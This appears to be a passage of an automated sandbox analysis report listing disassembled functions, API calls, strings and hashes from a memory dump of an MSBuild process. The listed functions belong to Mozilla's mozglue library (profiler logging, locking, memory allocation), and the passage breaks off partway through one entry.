Function 6BCB3A90 Relevance: 18.3, APIs: 12, Instructions: 295COMMON

Download Yara Rule

APIs

AcquireSRWLockShared.KERNEL32 ref: 6BCB3BB4
ReleaseSRWLockShared.KERNEL32 ref: 6BCB3BD2
AcquireSRWLockExclusive.KERNEL32 ref: 6BCB3BE5
ReleaseSRWLockExclusive.KERNEL32 ref: 6BCB3C91
ReleaseSRWLockShared.KERNEL32 ref: 6BCB3CBD
moz_xmalloc.MOZGLUE ref: 6BCB3CF1

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Lock$ReleaseShared$AcquireExclusive$mallocmoz_xmalloc
String ID:
API String ID: 1881024734-0
Opcode ID: 71b54971b1e69a973c0ea1e5f9d9945496e6138a6db8c960a814ead4d090b7d3
Instruction ID: ad808afc6cc37f9b25f0963817454c8b808edd15c58d1a264e0d275985d78485
Opcode Fuzzy Hash: 71b54971b1e69a973c0ea1e5f9d9945496e6138a6db8c960a814ead4d090b7d3
Instruction Fuzzy Hash: A6C19EB0914741CFC724CF68C08465AFBF5BF89314F158AAED9998B305E738E985CB82

Function 6BCE8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6BCAEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BCAEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6BCEB392,?,?,00000001), ref: 6BCE91F4

Part of subcall function 6BCDCBE8: GetCurrentProcess.KERNEL32(?,6BCA31A7), ref: 6BCDCBF1
Part of subcall function 6BCDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BCA31A7), ref: 6BCDCBFA

Strings

timeline-memory, xrefs: 6BCE9088
data, xrefs: 6BCE90E8
timeline-ipc, xrefs: 6BCE9096
name, xrefs: 6BCE8F16
timeline-fileio, xrefs: 6BCE90A4
marker-chart, xrefs: 6BCE905E
stack-chart, xrefs: 6BCE90B2
timeline-overview, xrefs: 6BCE907A
marker-table, xrefs: 6BCE906C

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 1615a0b4d8c2b299b05ff841643fbb755ddd5e85598e3d71ddeb77009744cdf7
Instruction ID: 3b4852aec3e8c6e176a74de28836f865c8896f7eae67c1447062e578c618fbc5
Opcode Fuzzy Hash: 1615a0b4d8c2b299b05ff841643fbb755ddd5e85598e3d71ddeb77009744cdf7
Instruction Fuzzy Hash: DEB1C3B0A20206DBDB04CFA5D891BAEBBB6FB84354F104019D516AF781F7799A45CBE0

Function 6BCCC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6BCCC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6BCCC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6BCCC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6BCCC891

Strings

NAN, xrefs: 6BCCC7AD
nan, xrefs: 6BCCC7A8
INF, xrefs: 6BCCC794
inf, xrefs: 6BCCC78F

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: e2d0b06dc499cfede64adba2bd883fe044ab6912fbe3af2eaced5586fa8d5746
Instruction ID: 04aa7a2a1ec508eb870d26ba923a98b490a5877a0ac7a369c354cd480a0fef36
Opcode Fuzzy Hash: e2d0b06dc499cfede64adba2bd883fe044ab6912fbe3af2eaced5586fa8d5746
Instruction Fuzzy Hash: 21518E309187809BDB00DF68C58129BFBF1BF9A354F00892DE9D5A7251F778DA858B93

Function 6BCEEB90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 66threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BCB4A68), ref: 6BCE945E
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BCE9470
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BCE9482
Part of subcall function 6BCE9420: __Init_thread_footer.LIBCMT ref: 6BCE949F

GetCurrentThreadId.KERNEL32 ref: 6BCEEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6BCEEBAC

Part of subcall function 6BCE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BCE94EE
Part of subcall function 6BCE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BCE9508

GetCurrentThreadId.KERNEL32 ref: 6BCEEBC1
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8,?,?,00000000), ref: 6BCEEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6BCEEBE5
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8,00000000), ref: 6BCEEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6BCEEC46
CloseHandle.KERNEL32(?), ref: 6BCEEC55
free.MOZGLUE(00000000), ref: 6BCEEC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6BCEEA9B
[I %d/%d] profiler_start, xrefs: 6BCEEBB4

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectReleaseSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 4250961200-1186885292
Opcode ID: 5f10215cf61c821537852a9bab6aeae677729a9d3fb85cdbb44f591f8f3a21ec
Instruction ID: 8e8ef5d141c61163368f6102a0a55f21000b93382ffa84501bfcb15aa95315a9
Opcode Fuzzy Hash: 5f10215cf61c821537852a9bab6aeae677729a9d3fb85cdbb44f591f8f3a21ec
Instruction Fuzzy Hash: F811E471810655DFEF005F74D849A5ABB64EF45378F004222FF199B280E7BADA06CBB1

Function 6BCDF2B0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6BCDD9DB), ref: 6BCDF2D2
GetModuleHandleW.KERNEL32(ntdll.dll,00000000), ref: 6BCDF2F5
moz_xmalloc.MOZGLUE(?,?,00000000), ref: 6BCDF386
moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6BCDF347

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6BCDF3C8
free.MOZGLUE(00000000,00000000), ref: 6BCDF3F3
free.MOZGLUE(00000000,00000000), ref: 6BCDF3FC
free.MOZGLUE(00000000,?,?,00000000), ref: 6BCDF413

Strings

ntdll.dll, xrefs: 6BCDF2F0

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: freemoz_xmalloc$HandleModule$malloc
String ID: ntdll.dll
API String ID: 301460908-2227199552
Opcode ID: 97bd749d54ae357d7a0d0a450059da5a85ccea88d866bc8076b6fb5ef9bba84f
Instruction ID: 807b53790b466a6e3d1a538f743e2afc2070f282106db123c492f8b12e0ed2cc
Opcode Fuzzy Hash: 97bd749d54ae357d7a0d0a450059da5a85ccea88d866bc8076b6fb5ef9bba84f
Instruction Fuzzy Hash: EC41E5B9E112048FEB048F68D846B9EB7B5FF45314F11442DDA1AAB380FB39E605CB51

Function 6BD06A10 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 115stringCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6BD2F618), ref: 6BD06A68
GetCurrentProcess.KERNEL32 ref: 6BD06A7D
GetCurrentProcess.KERNEL32 ref: 6BD06AA1
EnterCriticalSection.KERNEL32(6BD2F618), ref: 6BD06AAE
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6BD06AE1
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6BD06B15
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6BD06B65
LeaveCriticalSection.KERNEL32(6BD2F618,?,?), ref: 6BD06B83

Strings

SymInitialize, xrefs: 6BD06BA3

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionstrncpy$CurrentProcess$EnterInitializeLeave
String ID: SymInitialize
API String ID: 3103739362-3981310019
Opcode ID: 748d6707e717273630364c926d9035fdf687178c97ee66151501f36068956a56
Instruction ID: a4747d1cfba7f2284b718cd6672402a2bf56f4ce804dab3348c1dc8cbfdbdd19
Opcode Fuzzy Hash: 748d6707e717273630364c926d9035fdf687178c97ee66151501f36068956a56
Instruction Fuzzy Hash: BA41A4706043849FEB10CF74C888B9A7BA8EF46714F0445BAEE498F282DBB5D544CB71

Function 6BCB9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6BCB9675
__Init_thread_footer.LIBCMT ref: 6BCB9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6BCB96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6BCB9707
__Init_thread_footer.LIBCMT ref: 6BCB971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6BCB9773

Part of subcall function 6BCDAB89: EnterCriticalSection.KERNEL32(6BD2E370,?,?,?,6BCA34DE,6BD2F6CC,?,?,?,?,?,?,?,6BCA3284), ref: 6BCDAB94
Part of subcall function 6BCDAB89: LeaveCriticalSection.KERNEL32(6BD2E370,?,6BCA34DE,6BD2F6CC,?,?,?,?,?,?,?,6BCA3284,?,?,6BCC56F6), ref: 6BCDABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6BCB97B7
FreeLibrary.KERNEL32 ref: 6BCB97D0
FreeLibrary.KERNEL32 ref: 6BCB97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6BCB9824

Strings

MapViewOfFileNuma2, xrefs: 6BCB97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6BCB9670
ntdll.dll, xrefs: 6BCB96E3
NtMapViewOfSection, xrefs: 6BCB9701

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: a37db05d2fbafbbd56f16a092623c9fc8a85f50e9d9e72e91762eaa5a1816abd
Instruction ID: 3bc2f3148a7cd84d29c17acda623e0c0fbee27633b38fbf292a3b01d183c7361
Opcode Fuzzy Hash: a37db05d2fbafbbd56f16a092623c9fc8a85f50e9d9e72e91762eaa5a1816abd
Instruction Fuzzy Hash: C241A2759102459BEF00CF64D885B9FBBB4FB8A324F00452AEF159B281E774EA05CFA1

Function 6BCA1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BD2E784), ref: 6BCA1EC1
LeaveCriticalSection.KERNEL32(6BD2E784), ref: 6BCA1EE1
EnterCriticalSection.KERNEL32(6BD2E744), ref: 6BCA1F38
LeaveCriticalSection.KERNEL32(6BD2E744), ref: 6BCA1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6BCA1F83
LeaveCriticalSection.KERNEL32(6BD2E784), ref: 6BCA1FC0
EnterCriticalSection.KERNEL32(6BD2E784), ref: 6BCA1FE2
LeaveCriticalSection.KERNEL32(6BD2E784), ref: 6BCA1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6BCA2019

Strings

MOZ_CRASH(), xrefs: 6BCA2000

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: e36d93535c0cfd244c6a3601c565a18f9174c74f09c58223e4587b23a342b50b
Instruction ID: 0f2a57aef48cc153dc258de958e0654b6f85b2032e146a97efe754126c716fcb
Opcode Fuzzy Hash: e36d93535c0cfd244c6a3601c565a18f9174c74f09c58223e4587b23a342b50b
Instruction Fuzzy Hash: 4641A475E212968BEF008F78CC84B6AB6A5FB4A358F000136EB05DF345E7B999048B91

Function 6BD05FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6BD06009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6BD06024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6BCAEE51,?), ref: 6BD06046
OutputDebugStringA.KERNEL32(?,6BCAEE51,?), ref: 6BD06061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BD06069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6BD06073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6BD06082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6BD2148E), ref: 6BD06091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6BCAEE51,00000000,?), ref: 6BD060BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6BD060C4

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 7a83738ef83f2a577b13d724791ca3c340cfa8988ae6f0a9bc0ee908155d4c57
Instruction ID: 33bd57160b2a9882963e86b55f622bbac293d9cc7c588bf721dd91cb571e63c2
Opcode Fuzzy Hash: 7a83738ef83f2a577b13d724791ca3c340cfa8988ae6f0a9bc0ee908155d4c57
Instruction Fuzzy Hash: 4E21B7719002489FDF105F24DC09AAEBBA8FF45314F048479EA599B280DB75E645CFE1

Function 6BCEDBB0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 207threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BCB4A68), ref: 6BCE945E
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BCE9470
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BCE9482
Part of subcall function 6BCE9420: __Init_thread_footer.LIBCMT ref: 6BCE949F

GetCurrentThreadId.KERNEL32 ref: 6BCEDBE1
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BCEDBE9

Part of subcall function 6BCE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BCE94EE
Part of subcall function 6BCE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BCE9508

??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6BCEDC5D
moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6BCEDC7F

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

Part of subcall function 6BCE9A60: GetCurrentThreadId.KERNEL32 ref: 6BCE9A95
Part of subcall function 6BCE9A60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BCE9A9D
Part of subcall function 6BCE9A60: ?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6BCE9ACC
Part of subcall function 6BCE9A60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BCE9BA7
Part of subcall function 6BCE9A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6BCE9BB8
Part of subcall function 6BCE9A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6BCE9BC9

Part of subcall function 6BCEE8B0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6BCEDCF5), ref: 6BCEE92D

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCEDD1B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCEDD44
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCEDD58

Part of subcall function 6BCDCBE8: GetCurrentProcess.KERNEL32(?,6BCA31A7), ref: 6BCDCBF1
Part of subcall function 6BCDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BCA31A7), ref: 6BCDCBFA

Strings

[I %d/%d] locked_profiler_save_profile_to_file(%s), xrefs: 6BCEDBF2

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CurrentTimefreegetenv$ProcessStampThreadV01@@Value@mozilla@@_getpidmalloc$??1ios_base@std@@?profiler_time@baseprofiler@mozilla@@Init_thread_footerNow@Stamp@mozilla@@TerminateV12@___acrt_iob_func__stdio_common_vfprintfmoz_xmalloc
String ID: [I %d/%d] locked_profiler_save_profile_to_file(%s)
API String ID: 3378208378-1387374313
Opcode ID: d85474a6eabdf1996053621b5b3fae6731141a07debb89b210509ce98f1d2c33
Instruction ID: a1d7ecb20c1879fb5fac6fc84d2be5f946ffffa3ee52c99d98b30e90c71b7122
Opcode Fuzzy Hash: d85474a6eabdf1996053621b5b3fae6731141a07debb89b210509ce98f1d2c33
Instruction Fuzzy Hash: 4081C074610700CFDB24DF24C485A5AF7E5FF89318B00896DD95B8B781EB78EA0ACB61

Function 6BCF0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BCB4A68), ref: 6BCE945E
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BCE9470
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BCE9482
Part of subcall function 6BCE9420: __Init_thread_footer.LIBCMT ref: 6BCE949F

GetCurrentThreadId.KERNEL32 ref: 6BCF0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BCF0041
GetCurrentThreadId.KERNEL32 ref: 6BCF0075
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCF0082
moz_xmalloc.MOZGLUE(00000048), ref: 6BCF0090
free.MOZGLUE(?), ref: 6BCF0104
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCF011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6BCF005B

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 9046b29d6f61af83b6f90549391969ccfeddff2dc45ceea421d8de35633d55b3
Instruction ID: aff0eed8ab316f7918a948a7999224b4c491b3a1f648dd8e48e48addcd6b5458
Opcode Fuzzy Hash: 9046b29d6f61af83b6f90549391969ccfeddff2dc45ceea421d8de35633d55b3
Instruction Fuzzy Hash: 7041ACB5810745DFDB10CF24C881A9ABBF4FF49718F40491EEA5A87340E735EA06CBA1

Function 6BCB7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BCB7EA7
malloc.MOZGLUE(00000001), ref: 6BCB7EB3

Part of subcall function 6BCBCAB0: EnterCriticalSection.KERNEL32(?), ref: 6BCBCB49
Part of subcall function 6BCBCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6BCBCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6BCB7EC4
mozalloc_abort.MOZGLUE(?), ref: 6BCB7F19
malloc.MOZGLUE(?), ref: 6BCB7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6BCB7F4D

Strings

d, xrefs: 6BCB7F89

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: c502867fb7d37b5b28d1a6dd9726f2253e3ee9d86c8063c0547c05ce5e284ef5
Instruction ID: 28f7d136467b0c5d6775cd2d81e2e5c995123d4168b47194a4b89064ff1e70f1
